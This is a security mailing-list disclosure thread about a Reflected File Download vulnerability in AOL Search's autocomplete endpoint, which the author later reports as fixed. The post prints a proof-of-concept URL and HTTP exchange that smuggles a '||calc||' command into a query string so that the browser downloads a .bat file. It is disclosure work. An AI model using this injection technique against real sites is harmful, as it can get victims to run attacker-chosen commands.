Full Disclosure mailing list archives

Re: Reflected File Download in AOL Search Website


From: Ricardo Iramar dos Santos <riramar () gmail com>
Date: Sun, 1 Mar 2015 19:28:17 -0300

It seems was fixed.

HTTP/1.1 200 OK
Date: Sun, 01 Mar 2015 22:21:31 GMT
Server: Apache-Coyote/1.1
Content-Disposition: attachment; filename=autocomplete.txt
Content-Type: application/x-suggestions+json;charset=UTF-8
Content-Language: en-US
Content-Length: 34
Keep-Alive: timeout=5, max=69
Connection: Keep-Alive

["iramar\%22%7C%7Ccalc%7C%7C", []]


They inclued the header "Content-Disposition: attachment;
filename=autocomplete.txt" and starting encondig the body response.
I reported this security issue last year at least five times but no answer.
So start to think in the AOL users and how they could be affected with this
security issue.
I could not measure what could be worse live quiet with the problem or take
a risk to disclosure. Now I'm sure that specific problem was solved. :)

On Mon, Feb 16, 2015 at 2:13 PM, Ricardo Iramar dos Santos <
riramar () gmail com> wrote:

Oren Hafif reported a new kind of attack called Reflected File Download (
https://www.blackhat.com/eu-14/briefings.html#reflected-file-download-a-new-web-attack-vector)
in Black Hat Europe 2014 conference.
More details about the attack you can found in his public presentation:
https://www.blackhat.com/docs/eu-14/materials/eu-14-Hafif-Reflected-File-Download-A-New-Web-Attack-Vector.pdf
.
Google and Bing have already fixed the vulnerability but I've found the
same vulnerability in AOL Search Website.
A malicious user could send the link below to a victim that you download a
malicious batch file from autocomplete.search.aol.com domain.
In the link below we have search for 'iramar "||calc||' using the AOL
autocomplete domain. The browser will encode the double quotes but the
server will escape it (\") and return inside the json on the body response.
Since the response has the header "Content-Type:
application/x-suggestions+json;charset=UTF-8" the browser will
automatically try to download the reflected file. Chrome didn't try to
download the file but Internet Explorer and Firefox will.


http://autocomplete.search.aol.com/autocomplete/get;calc.bat?q=iramar";||calc||&it=ws-landing&dict=en_us_search&count=8&output=json

REQUEST

GET http://autocomplete.search.aol.com/autocomplete/get;calc.bat?q=
*iramar%22||calc||*&it=ws-landing&dict=en_us_search&count=8&output=json
HTTP/1.1
Host: autocomplete.search.aol.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101
Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: ...
Connection: keep-alive


RESPONSE

HTTP/1.1 200 OK
Date: Tue, 21 Oct 2014 10:30:34 GMT
Server: Apache-Coyote/1.1
*Content-Type: application/x-suggestions+json;charset=UTF-8*
Content-Language: en-US
Content-Length: 24
Keep-Alive: timeout=5, max=10
Connection: Keep-Alive

["iramar\"||calc||", []]



​



_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Current thread: